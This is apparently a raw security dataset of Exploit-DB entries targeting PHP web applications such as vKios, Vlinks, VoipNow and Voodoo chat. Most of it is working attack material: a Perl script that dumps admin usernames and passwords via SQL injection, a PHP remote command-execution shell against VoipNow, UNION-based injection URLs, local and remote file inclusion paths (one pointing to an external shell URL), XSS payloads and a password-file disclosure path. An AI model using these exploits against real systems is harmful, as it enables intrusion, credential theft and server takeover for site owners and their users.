deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5101
Description: vKios 2.0.0 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-12
Author: NTOS-Team

Exploit:
#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# vKios <= 2.0.0  (products.php cat) Remote SQL Injection Exploit
# Waktu		:  Feb 8 2008 10:00PM
# Software	:  vKios  
# Versi		:  <= 2.0.0
# Vendor 	:  http://www.vkios.com/
#
# ------------------------------------
# Audit Oleh 	:  NTOS-Team
# Lokasi	:  Indonesia | http://newhack.org
# Penjelasan	:
# 
# vKios adalah aplikasi CMS untuk membangun website toko online dalam sekejap
# variabel "cat" pada berkas "products.php" tidak tersaring dengan sempurna
# sehingga pengunjung site dapat memanipulasi pernyataan SQL melalui URL secara Remote
# Contoh ;
# http://site.korban/products.php?cat=[SQLI]   
#
# -------------------------------------
# Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa yang kami pelajari,
# Indonesian Newhack Technology tidak bertanggung jawab akan kerusakan 
# yang diakibatkan dari penyalahgunaan exploit oleh pihak lain  
#
# => NTOS-Team->[fl3xu5,k1tk4t,opt1lc]
# 
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[2])
{
 print "\n  |-------------------------------------------------------|";
 print "\n  |            Indonesian Newhack Technology              |";
 print "\n  |-------------------------------------------------------|";
 print "\n  | vKios (products.php cat) Remote SQL Injection Exploit |";
 print "\n  |                Coded by NTOS-Team                     |";
 print "\n  |-------------------------------------------------------|";
 print "\n[!] ";
 print "\n[!] Penggunaan : perl vkios.pl [Site] [Path] [Option]";
 print "\n[!] [Option] 2 = versi > 1.3  |  1 = versi < 1.3 ";
 print "\n[!] Contoh     : perl vkios.pl localhost /vkios/ -o 1";
 print "\n[!] ";
 print "\n";
 exit;
}
$site = $ARGV[0]; # Site Target
$path = $ARGV[1]; # Path direktori vKios
%options = ();
GetOptions(\%options, "o=i",);
if($options{"o"} && $options{"o"} == 1) { $injek = "http://".$site.$path."products.php?cat=-1%20union%20select%201,concat(0x74346d7520,username,0x3a,password,0x2067656c3470),3,4,5,6,7,8,9%20from%20operator"; }
if($options{"o"} && $options{"o"} == 2) { $injek = "http://".$site.$path."products.php?cat=-1%20union%20select%201,concat(0x74346d7520,username,0x3a,password,0x2067656c3470),3,4,5,6,7,8,9,10%20from%20operator"; }

$www = new LWP::UserAgent;
$sql = $injek;
print "\n\n [Konek] Injeksi SQL \n";
$res = $www -> get($sql) or err();
$res -> content() =~ /t4mu (.*?) gel4p/ or err();
print "\n [Info.] username:password";
print "\n [Hasil] $1 \n";
print "\n [Login] http://".$site.$path."admin/ \n\n";

sub err()
{
print "\n [-] Exploit gagal :( - cari yang lain!";
exit();
}

# milw0rm.com [2008-02-12]
Exploit-DB #5529
Description: Vlbook 1.21 - Cross-Site Scripting / Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-01
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                    vlBook 1.21 (ALL VERSION)                                ####
####             Multiple Remote Vulnerabilities (LFI/XSS)                       ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash Or Khashayar Fereidani)                                 #
#Discovered by : IRCRASH (Dr.Crash Or Khashayar Fereidani)                          #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr
#####################################################################################
#                                                                                   #
#Script Download : http://home.vlab.info/vlbook_1.21.zip                            #
#                                                                                   #
#DORK : "Powered by  vlBook 1.21"                                                   #
#                                                                                   #
#####################################################################################
#                                   < XSS >                                         #
#XSS Address : http://example/?l=" <script>alert('xss')</script>                    #
#                                                                                   #
#####################################################################################
#                                   < LFI >                                         #
#LFI Address : http://example/include/global.inc.php?l=../../../[FILE NAME]%00      #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
################################ TNX GOD ############################################

# milw0rm.com [2008-05-01]
Exploit-DB #35193
Description: vldPersonals 2.7 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-11-10
Author: Mr T

Exploit:
# Exploit Title: VLD Personal – Multiple Vulnerabilities
# Date: 09/11/2014
# Exploit Author: Mr T
# Exploit Authors Website: http://www.securitypentester.ninja
# Vendor Homepage: http://www.vldpersonals.com/
# Software Link: http://www.vldpersonals.com/clients/downloads.php
# Vulnerable Version: 2.7
# Fixed Version 2.7.1
# Tested on: Windows / Linux

XSS Attack

Issue detail:
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9811c”><script>alert(1)</script>b7ec317c816 was submitted in the id parameter.

Response :
GET /index.php?m=member_profile&p=profile&id=9811c”><script>alert(1)<%2fscript>b7ec317c816 HTTP/1.1



SQL Injection:
Issue detail:
The country/gender1/gender2 parameter appears to be vulnerable to SQL injection attacks. The payload and benchmark(20000000,sha1(1))– was submitted in the country parameter. 

Response:
POST /index.php?m=search HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Cookie: visitors=x466x3878x3725x3797; PHPSESSID=nu75qtji88q4bilghhtg2s2; sessdata=0
>age_from=19&age_to=19&issearch=1&submit=Search&gender1=2
>&gender2=2&type_id=members
>&country=
>1%20and%20benchmark(20000000%2csha1(1))–%20


-- 
Talib Osmani
Exploit-DB #8050
Description: Vlinks 1.1.6 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-13
Author: JIKO

Exploit:
#########################################################################################
[!x!] Informations:

Name           : vlinks
Download       : http://www.vlinks.org/ =>http://www.vlinks.org/vlinks-v1.1.6.rar
Vulnerability  : Sql Injection
Author         : JIKO(JAWAD)
Contact        : jalikom@hotmail.com
Site           : No-ExploiT.CoM/Forum (langague arabic)
Notes          : 3arabi Muslim Maghribi (bladi blad lmgharba kamlin Dini Din lmsalmin Kamlin)
#########################################################################################
[!x!] Bug:

Bugged file is /[path]/page.php?

[Note]
Pass Simple
[/Note]

#########################################################################################
[!x!] Exploit:

Exploit: http://no-exploit.com/forum/page.php?nc=vbvb&id=-1 union select 0,concat(nom,0x3a,passe),2,3+from+infos--

########################################################################################
[!x!] To: ÙÙ„Ø³Ø·ÙŠÙ† Ø§Ù„Ø­Ø±Ø©
Cyber-Zone(Abdelkhalek) ,Hussin X ,leopard ,FrFoRHaCKeR ,ShBh BaGhDaD ,RoMyOoOo
members [No-exploit.Com]

# milw0rm.com [2009-02-13]
Exploit-DB #20859
Description: Vlinks 2.0.3 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-08-27
Author: JIKO

Exploit:
#########################################################################################
[!x!] Informations:
 
Name           : vlinks
Download       : http://www.vlinks.org/ =>http://www.vlinks.org/telechargements/Vlinks2.0.3.zip (And All Version)
Vulnerability  : Sql Injection
Author         : JIKO(JAWAD)
Contact        : jalikom@hotmail.com
Site           : No-ExploiT.CoM (Is Back)
Notes          : No-ExploiT.CoM Miss
#########################################################################################
[!x!] Bug:
 
Bugged file is /[path]/page.php?
 
[Note]
Pass Simple
[/Note]
 
#########################################################################################
[!x!] Exploit:
 
Exploit: http://no-exploit.com/forum/site.php?ps=1&idc=1&id=-991 union select 0,concat(pseudo,0x3a,passe),2,3,4,5,6,7,8,9,10,11 from infos--

[Admin Panel] ! Need Login
Exploit: http://no-exploit.com/forum/admin/admin_modif_categorie.php?id=-1 union select 0,concat(pseudo,0x3a,passe),2 from infos--
Exploit: http://no-exploit.com/forum/admin/admin_modif_partenaire.php?id=-1 union select 0,concat(pseudo,0x3a,passe),2,3,4,5,6 from infos--
 
########################################################################################
[!x!] To: All friends
Cyber_Devil Allah with you

members [No-exploit.Com]
Exploit-DB #7186
Description: Vlog System 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-22
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## Vlog System V1.1 ( blog.php user )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/blog.php?user=<< REAL USER NAME HERE >>&note=906+AND+1=0+UNION+SELECT+1,2,Concat_Ws(0x3a,user(),@@version),4,5,6,7,8--
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-11-22]
Exploit-DB #3857
Description: vm Watermark for Gallery 0.4.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-05
Author: ThE TiGeR

Exploit:
#vm watermark mod 0.4.1 Remote file include

#Download script : http://gallery.menalto.com/files/vm-watermark_mod-0.4.1.zip

#Thanks to str0ke

#Exploit :

#http://www.site.com/[path]/watermark.php?GALLERY_BASEDIR=shell.txt?

#Discovered by : ThE TiGeR

# Miro_Tiger100[at]Hotmail[dot]com

# milw0rm.com [2007-05-05]
Exploit-DB #27513
Description: VNews 1.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-03-30
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/17316/info

VNews is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.2 is reported to be vulnerable. Other versions may be affected as well.

http://www.example.com/vnews/news.php? co=show&news=99'% 20union%20select% 201,2,3,4,5, 6/*&nom=1
Exploit-DB #24973
Description: VoipNow 2.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2013-04-22
Author: i-Hmx

Exploit:
/*
+ Application : Voipnow
| Version , Perior to 2.5.0
| Download : http://4psa.com/
| By Faris , AKA i-Hmx
| n0p1337@gmail.com
+ sec4ever.com , 1337s.cc
*/

VoipNow is commercial web GUI voip server manager,
it's affected by local file inclusion vuln
File : /usr/local/voipnow/admin/htdocs/help/index.php

Line 832
if ( !( isset( $_GET['screen'] ) && trim( $_GET['screen'] ) != "" ) )
{
    exit( );
}

Line 872
require( $help_path.trim( $_GET['screen'] ) );

Example : https://target/help/index.php?screen=../../../../../../../../etc/voipnow/voipnow.conf

can be exploited to gain shell access to the server via infecting Logs which located at
 /usr/local/voipnow/admin/logs/access.log
 
NP : Sorry Guys for the time you wasted tracing my Elastix Logs ;)
     But The 0day Remain 0day till i decide to dislose it by my own xD
	 and again Enjoy the song : http://www.youtube.com/watch?v=d-ELnDPmI8w
	 keep in Your skiddy minds , "I Ain't Mad At Cha"
	 < Faris , The Awsome xD >
Exploit-DB #37339
Description: VoipNow Professional 2.5.3 - 'nsextt' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-01
Author: Aboud-el

Exploit:
source: https://www.securityfocus.com/bid/53759/info

VoipNow Professional is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

VoipNow Professional 2.5.3 is vulnerable; other versions may also be vulnerable. 

http://www.example.com/index.php?nsextt=[xss]
Exploit-DB #38140
Description: VoipNow Service Provider Edition - Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2012-12-21
Author: i-Hmx

Exploit:
source: https://www.securityfocus.com/bid/57032/info

VoipNow Service Provider Edition is prone to a remote arbitrary command-execution vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to execute arbitrary commands within the context of the vulnerable application.

Versions of VoipNow Service Provider Edition prior to 2.3 are vulnerable; other versions may also affected. 

<?
# Title: 4psa VoipNow < 2.3 , Remote Command Execution vuln
# Software Link: http://www.4psa.com/products-4psavoipnow.html
# Author: Faris , aka i-Hmx
# Home : sec4ever.com , 1337s.cc
# Mail : n0p1337@gmail.com
# Tested on: VoipNow dist.
/*
VoipNow suffer from critical RCE vuln.
Vulnerable File : plib/xajax_components.php
Snip.
if ( isset( $_GET['varname'] ) )
{
$func_name = $_GET['varname'];
$func_arg = $_POST["fid-".$_GET['varname']];
$func_params = $_GET;
if ( function_exists( $func_name ) )
{
echo $func_name( $func_arg, $func_params );
}
else
{
echo "<ul><li>Function: ".$func_name." does not exist.</li></ul>";
}
}
Demo Exploit :
Get : plib/xajax_components.php?varname=system
Post : fid-system=echo WTF!!
so the result is
echo system( 'echo WTF!!', array() );
the system var need just the 1st parameter
so don't give fu#* about the array :D
Peace out
*/
echo "\n+-------------------------------------------+\n";
echo "| VoipNow 2.5.3 |\n";
echo "| Remote Command Execution Exploit |\n";
echo "| By i-Hmx |\n";
echo "| n0p1337@gmail.com |\n";
echo "+-------------------------------------------+\n";
echo "\n| Enter Target [https://ip] # ";
$target=trim(fgets(STDIN));
function faget($url,$post){
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
curl_setopt($curl, CURLOPT_HEADER, false);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
while(1)
{
echo "\ni-Hmx@".str_replace("https://","",$target)."# ";
$cmd=trim(fgets(STDIN));
if($cmd=="exit"){exit();}
$f_rez=faget($target."/plib/xajax_components.php?varname=system","fid-system=$cmd");
echo $f_rez;
}
# NP : Just cleaning my pc from an old old trash , The best is yet to come ;)
?>
Exploit-DB #39281
Description: VoipSwitch - 'user.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2014-08-08
Author: 0x4148

Exploit:
source: https://www.securityfocus.com/bid/69109/info

VoipSwitch is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. 

https://www.example.com/user.php?action=../../../windows/win.ini%00.jpg
Exploit-DB #2102
Description: Voodoo chat 1.0RC1b - 'file_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: SHiKaA

Exploit:
#=================================================================
#Voodoo chat 1.0RC1b <= (file_path) Remote File Inclusion Exploit
#================================================================
#                                                                |
#Critical Level : Dangerous                                      |
#                                                                |
#Venedor site : http://vochat.com/                               |
#                                                                |
#Version : 1.0                                                   |
#                                                                |
#=================================================================
#Bug in : index.php
#
#Vlu Code :
#--------------------------------
#//here it can fails, i don't care. will be used default system language
#
#   else include_once($file_path."languages/".$language.".php");
#
#   include($file_path."designes/".$design."/index.php");
#?>
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/index.php?file_path=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Bl@Ck^B1rd Semsemmasr Black_Scorpion Medo_Ye7ya Kambaa  NANA Kashtawa
#Skiing Gendiaaa Saw AzIZa SnIpEr_Sa Masry OSA FEGLA 3amer
=================================================================

# milw0rm.com [2006-08-01]
Exploit-DB #3044
Description: Voodoo chat 1.0RC1b - 'users.dat' Password Disclosure
Type: webapps
Platform: php
Date: 2006-12-30
Author: bd0rk

Exploit:
                    Voodoo chat 1.0RC1b Password Disclosure Vulnerability



Affected Software: Voodoo chat 1.0RC1b

Download: http://switch.dl.sourceforge.net/sourceforge/voc/voc-1.0RC1b.zip

Found3R: bd0rk

Website: www.soh-crew.it.tt

Contact: bd0rk[at]hackermail.com

Greetings: str0ke, Perle, TheJT, Shizoe

[+]Exploit: http://[yourh0st]/[voodoo_chat_dir]/data/users.dat



#####The german Hacker bd0rk#####

# milw0rm.com [2006-12-30]
Exploit-DB #45784
Description: Voovi Social Networking Script 1.0 - 'user' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-05
Author: Ihsan Sencan

Exploit:
 Exploit Title: Voovi Social Networking Script 1.0 - 'user' SQL Injection
# Dork: N/A
# Date: 2018-11-04
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.adminspoint.com/voovi/index.php
# Software Link: https://netix.dl.sourceforge.net/project/voovi/voovi%20a%20social%20networking%20script.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/?
# 
POST /[PATH]/? HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
user=1' UNION SELECT NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL,NuLL-- -&[CREDENTIAL_REDACTED]=login&submit=
HTTP/1.1 200 OK
Date: Sun, 04 Nov 2018 14:22:41 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=v8nhfofpnrt6a4clfqbrp7aa00; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5987
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8